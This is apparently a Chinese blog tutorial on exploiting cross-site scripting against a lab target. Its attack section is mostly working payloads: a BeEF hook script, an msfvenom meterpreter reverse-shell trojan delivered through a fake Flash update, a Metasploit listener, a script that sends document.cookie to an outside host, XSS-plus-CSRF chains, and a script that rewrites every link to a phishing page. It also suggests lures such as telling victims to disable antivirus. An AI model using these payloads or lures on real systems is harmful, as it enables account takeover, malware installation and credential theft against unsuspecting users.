玩转xss

玩转xss

0x00 前言

很多人现在都没懂xss为什么这么鸡肋的漏洞能排到owasp前十名,xss做多也就拿来做个弹窗和打cookie,然后进入后台,感觉没啥意义,还不如弱口令来得实在。那么我们就先来看看xss的作用和用途。

0x01 关于xss的奇思妙想

但是xss如果真的去了解他的话,能玩出不少花样,就例如前段时间面试某大厂问到的,xss能干嘛?这点是比较关键的一个点。如果是按照挖洞来说xss能打cookie 、能弹窗就行,这样的对应网站或者是厂商来说影响不是很大。而且要是存储下的xss才可以。这样的情况最多只能进管理后台,然后还要通过文件上传的方式才能拿shell。

那么对于做一些违法网站的人来说呢,这个xss可以做到url劫持,或者是弹出广告等等。

那么如果我们再往深了说呢?

xss能页面钓鱼、内网探测、配合csrf打组合拳、截取摄像头、键盘记录、扫描内网端口信息、获取粘贴版内容、xss蠕虫等等操作。xss的一些蠕虫攻击也会配合到ajax。

还有一个值得我们思考的问题是危害最严重的一定是存储性xss吗?

这个问题是一直都有争议的。

那么我们先来聊聊存储型xss

1.存储型xss:这个无容置疑是最简单利用的,也是最有效的,能直接看到成果。比如可以配合beef使用,具体能干嘛这里就不做多的赘述,前面都有提到过,其他类型能做到的存储型的基本都能实现。一些apt组织也经常会利用到xss进行水坑攻击。

2.反射性xss :反射性xss只能够自己提交,然后直接返回给我们前端,这样的话我们只能通过社工的方式发送给管理员来使得对方提交。

设想一下如果我们构建的不是弹窗和获取发送cookie的代码呢?

假设他的payload使一段和beef类似的,插入的代码是让js代码去请求hook.js,而js代码里面是爬取此网站的超链接,然后获取<input>标签,然后再value值里面再插入我们paylaod的内容,这样就形成的一个蠕虫攻击,但是这里要涉及的一点是跨域的问题,这里同源策略会阻止我们的js代码发起跨域请求。这时候就可以配合我们的cors跨域和jsonp跨域劫持了。

我们还可以写一个循环然后获取他所有的a标签,然后进行所有的a标签都替换成我们的csrf的链接。

3.dom型xss:这个xss发生的位置是在url里面产生的,我们可以直接在url里面插入xss paylaod ,编码后的url,然后再进行转换短链接。这时候就可以以社工的方式发送给管理员,进行cookie的盗取。如果对方开启httponly的话那就获取不到对方cookie,我们就需要用到其他的手段,例如钓鱼 先用xss跳转到一个cs克隆的某网站上面,然后页面再采用跳转,跳转到exe木马的路径,进行木马的下载。当然木马的伪装要好,例如前段时间比较流行的falsh钓鱼,免杀也是个问题,如果不会,也可以采用社工的手段诱使对方下载,例如金瓶xx续集,软件会报毒请关闭杀软,软件无毒,绿色版本等等手段。

 

0x02 xss实现

存储下xss:

至于怎么使用xss平台打cookie和弹窗的这里就不做赘述了。我们直接使用beef来实现。

来到kali终端

cd /usr/share/beef-xss/
./beef

 

启动beef

 

 

这里看到127.0.0.1/ui/panel 的路径是beef的控制面板,我们需要从浏览器打开,然后在浏览器进行操控。

127.0.0.1/hook.js的这个地址是我们需要用xss插入的地址。

直接来到靶场,插入beef的payload。

<script src="http://192.168.31.111:3000/hook.js"></script>

 

插入到一个存在存储型xss的地方,就可以直接打开浏览器,来到控制面板就看到有主机上线了。

 

 

beef的功能很强大,可以直接上线时候探测系统版本,浏览器类型,主机ip。

 

 

点击主机,然后再点击 Current Browser可以看到上线主机的系统版本、类型 、内网ip 以及cookie信息。

使用flash进行钓鱼攻击:

 

 

选择Social Engineering的 Fake Flash Update 伪装flash更新模块。

image的位置我找了个网络图片来进行显示,在实战当中可以做得更逼真。

Custom Payload URI:这里填入需要跳转的地址,这里就可以填入木马的地址,当然为了更逼真可以先跳转到一个克隆的网页,然后再进行跳转到木马的地址,这里为了方便就直接填入木马的地址。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.111 LPORT=4444 -e x86/shikata_ga_nai -i 10 -a x86 --platform windows -f exe> 1.exe

 

msf生成木马 ,在生成木马的时候可以-x参数指定一个flash.exe的模板。

cp 1.exe /var/www/html  
systemctl start apache2 

 

启动web服务,然后beef的Custom Payload URI:选项填入木马的web地址。

msf启动监听

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 31.111
lhost => 
msf5 exploit(multi/handler) > run -j

 

 

 

 

 

点击执行。

 

来到浏览器这边

 

 

看到已经显示了我们设置的图片,

点击图片后会跳转到我们木马的地址直接进行文件下载

 

 

点击保存运行,

 

 

 

成功上线。

 

反射性xss:

 

 

这里输入弹窗的语句成功的弹窗,并且payload语句显示在url上面,这是get的提交方式,我们可以直接来构造url语句然后发送给管理员钓鱼。

31.110/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&submit=submit

 

这里的payload要进行url编码,直接输入的话无法识别。

在物理机火狐浏览器访问这url时候能直接弹窗,在虚拟机的ie浏览器里面显示拦截了。

 

 

这是浏览器的csp,全称是内容安全策略。

内容安全策略 (CSP,Content Security Policy) 是一个附加的安全层,用于帮助检测和缓解某些类型的攻击,包括跨站脚本 (XSS) 和数据注入等攻击。 这些攻击可用于实现从数据窃取到网站破坏或作为恶意软件分发版本等用途。
尽管内容安全策略在 Firefox 4 中已经包含,使用 X-Content-Security-Policy 头部来实现,但它使用的是过时的 CSP 标准。Firefox 23 包含了更新的 CSP 实现,使用的是 W3C CSP 1.0 标准中描述的没有前缀的 Content-Security-Policy 头部和指令。
上面是百度复制过来的资料。

 

我们这时候还得和csp对抗。

至于怎么绕过csp可以参考先知论坛某大佬的文章。

https://xz.aliyun.com/t/5084

这里我们已经能弹窗,证明js代码能执行,我们可以配合csrf进行攻击。

我们先来使用get来试试。

 

 

抓取到一个get型csrf,然后构造语句。

csrf payload:

http://192.168.31.110/vul/csrf/csrfget/csrf_get_login.php?username=admin&password=123&submit=Login

 

使用xss插入csrf payload

31.110/vul/xss/xss_reflected_get.php?message=<script src=http://192.168.31.110/vul/csrf/csrfget/csrf_get_login.php?username=admin&password=123&submit=Login"></script>&submit=submit

 

构造完成了 我们还需要把payload拿去url编码一下。

http:192.168.31.110/vul/xss/xss_reflected_get.php?message=%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%33%31%2e%31%31%30%2f%76%75%6c%2f%63%73%72%66%2f%63%73%72%66%67%65%74%2f%63%73%72%66%5f%67%65%74%5f%6c%6f%67%69%6e%2e%70%68%70%3f%75%73%65%72%6e%61%6d%65%3d%61%64%6d%69%6e%26%70%61%73%73%77%6f%72%64%3d%31%32%33%26%73%75%62%6d%69%74%3d%4c%6f%67%69%6e%22%3e%3c%2f%73%63%72%69%70%74%3e&submit=submit

 

这时候我们就可以发送给对方管理员,然后进行密码的修改。

既然能弹窗那就肯定能打cookie

 

31.110/vul/xss/xss_reflected_get.php?message=<script>document.location = 'http://192.168.1.15/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>&submit=submit

 

直接获取cookie传参给cookie,然后再cookie.php写一个get接收,写入文件,打cookie代码简单完成,成功获取到cookie信息。

 

那么如果我们是post型的csrf该怎么去打组合拳呢

 

我们可以直接获取到他的超链接然后进行替换,替换成我们伪造的页面,而页面的内容就是post型csrf的poc。

使用burp构造csrf poc ,复制html代码,然后写到html文件里面。

 

 

这里提交的内容已经做了隐藏,我们可以再写点钓鱼的东西让对方点击按钮,再修改按钮的值,例如点击中奖什么的。

这里思路有2种:

思路1:使用xss直接跳转到此钓鱼页面

思路2:替换所有a标签,超链接使对方点击任意超链接跳转。

 

思路一实现:

<script>document.location = http://192.168.31.111/1.html;  </script>

 

加载时候直接跳转到页面。

思路2实现:

<script type=text/javascript">
​
window.onload = function() { 
    var a=document.getElementsByTagName(a"); 
    for(i = 0; i < a.length; i++) {
        a[i].href=http://192.168.31.111/1.html;} }  
​
</script>

 

windows加载的时候获取所有的a标签,然后使用循环一一替换成192.168.31.111/1.html的页面。

构造语句:

31.110/vul/xss/xss_reflected_get.php?message=%3c%73%63%72%69%70%74%20%79%65%3d%22%65%78%74%2f%6a%61%76%22%3e%0a%0a%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%64%20%3d%66%75%6e%69%6f%6e%28%29%20%7b%20%0a%09%61%3d%75%6d%65%6e%74%2e%67%45%6c%65%6d%42%54%67%4e%61%6d%29%3b%66%6f%30%3b%20%3c%61%2e%6c%68%3b%69%2b%2b%20%7b%0a%61%5b%69%5d%2e%68%66%3d%70%3a%2f%2f%31%39%32%2e%36%38%2e%33%31%2e%31%2f%74%6d%6c%22%3b%7d%20%7d%20%0a%0a%3c%2f%74%3e&submit=submit

 

 

 

 

 

这里有个超链接,点击看看

直接跳转到我们的csrf页面。

0x03 结尾

xss还有很多玩法,而至于xss危害性这个问题,我个人觉得 xss漏洞的危害应该是按照危害的严重性来评判,而不是按照漏洞类型来评判。xss反射性也能玩出一番花样,当时在广州参加了hackingone峰会上,也提到了这一点。如果是存储型xss拿来弹框,仅仅只是打到后台登录的cookie危害级别比较低,前几天看xss深度刨析一本书的时候看到某网站xss反射性也能蠕虫攻击,我当时也被这骚操作给惊到了。如果说想深入了解xss可以去参考《XSS跨站脚剖析与防御》这本书。

 

 

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐


每个HTTP请求和响应都会带有相应的头部信息。默认情况下,在发送XHR请求的同时,还会发送下列头部信息: Accept:浏览器能够处理的内容类型 Accept-Charset:浏览器能够显示的字符集
&quot;Markdown自动生成目录&quot; &quot;使用npm语法生成&quot; &quot;1、安装npm&quot; &quot;2、安装doctoc插件&quot; &quot;
当我们从客户端向服务器发送请求时&#160;服务器向我们返回状态码&#160;状态码就是告诉我们服务器响应的状态&#160;通过它,我们就可以知道当前请求是成功了还是出现了什么问题&#160;状态码是
原理 介绍 哈希表(Hash table,也叫散列表), 是根据关键码值(Key value)而直接进行访问的数据结构。也就是说,它通过把关键码值映射到表中一个位置来访问记录,以加快查找的速度。这个映
一 共享秘钥 1.1 概念 共享秘钥和我们生活中同一把锁的钥匙概念类似,对同一把锁来说,加锁时使用什么钥匙,解锁也必须使用同样的钥匙。 1.2 共享秘钥在HTTP传输中的缺点 以共享密钥方式加密时必须
正向代理的概念 正向代理,也就是传说中的代理,他的工作原理就像一个跳板,简单的说,我是一个用户,我访问不了某网站,但是我能访问一个代理服务器这个代理服务器呢,他能访问那个我不能访问的网站于是我先连上代
如果你是网站的开发者或维护者,就不得不重视盗链的问题了。如果你刚刚开发完一个没有防盗链的带有文件下载功能的网站,挂上internet,然后上传几个时下非常热门的软件或电影并在网站内公布下载地址,让MS
select,poll,epoll区别总结 select,poll,epoll都是I/O多路复用。I/O多路复用就是通过一种机制,可以监测多个描述符,一旦某个描述就绪(一般是读或者写),能够通知程序进
PS: https就是http和TCP之间有一层SSL层,这一层的实际作用是防止钓鱼和加密。防止钓鱼通过网站的证书,网站必须有CA证书,证书类似于一个解密的签名。另外是加密,加密需要一个密钥交换算法,
一、什么是http协议 HTTP是一个应用层协议,无状态的,端口号为80。主要的版本有1.0/1.1/2.0. HTTP/1.* 一次请求-响应,建立一个连接,用完关闭; HTTP/1.1 串行化单线
host文件的工作原理及应用 Hosts文件是一个用于存储计算机网络中节点信息的文件,它可以将主机名映射到相应的IP地址,实现DNS的功能,它可以由计算机的用户进行控制。 一、Hosts文件基本介绍
HTTP 2.0是在SPDY(An experimental protocol for a faster web, The Chromium Projects)基础上形成的下一代互联网通信协议。HTT
虚拟地址和物理地址 第一层理解 1、每个进程都有自己独立的4g内存空间,每个进程的内存空间都具有类似的结构。 2、一个新进程建立的时候,将会建立自己的内存空间,此进程的数据,代码等数据从磁盘拷贝到自己
0x00 前言 发现自己学习python已经有半个月了,也开发了自己的一些渗透的小脚本,但觉得还是不够,我个人觉得工具和脚本还有框架是个本质上的区别。脚本的话,不会考虑到其他的一些因素,例如报错和交互
0x00 前言 由于昨天520,今天又是521,我被朋友圈和qq空间给刷屏了,都在秀对象。一气之下决定把我上次写的nc拿出来使用类进行重构,多实例化几个对象,这下子我也有对象了。 0x01 一些小插曲
upload labs通关 0x00 前言 这段时间一直在忙,没时间来更新文章,这里就写篇upload labs的通关手册吧,现在包括网上也有很多upload通关手册,但是在这里还是想自己去写一篇,来
0x00 前言 介于这段时间比较忙,所以博客的更新也比较慢。本来想前几天就发这个mssql数据库的,但是因为mssql的结构比较复杂,利用方式也比较多,所以又去深入研究了一下mssql的数据库结构和各
0x00 了解数据库 数据库是“按照数据结构来组织、存储和管理数据的仓库”。是一个长期存储在计算机内的、有组织的、可共享的、统一管理的大量数据的集合。 数据库是以一定方式储存在一起、能与多个用户共享、
0x00 前言 现在access的站,比较少,有的话也是小型网站在用,因为access的性能比较差,多人访问都能卡死,所以很多网站都很少会采用access的数据库搭建。但是该学的我们还是得学。 0x0
记一次某企业实战 0x00 前言 近段时间来也没怎么更新过博客,在这里就来水篇文章吧。 前段时间一直在做项目,也来分享并且记录一下自己的一些成果,和一些小思路。 0x01 信息收集 渗透的第一步肯定是